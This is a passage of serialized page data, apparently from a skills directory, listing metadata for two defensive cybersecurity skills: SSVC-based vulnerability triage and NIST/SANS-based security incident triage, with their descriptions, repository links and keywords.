FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[214],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[28,216,217,45,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":235,"name":236,"nameZh":6,"description":237,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":238,"categories":239,"keywords":241,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[240],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[46,242,45,243,244,245,246,247,248,249,250,39,251,179,252,253,254,255,256,257],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]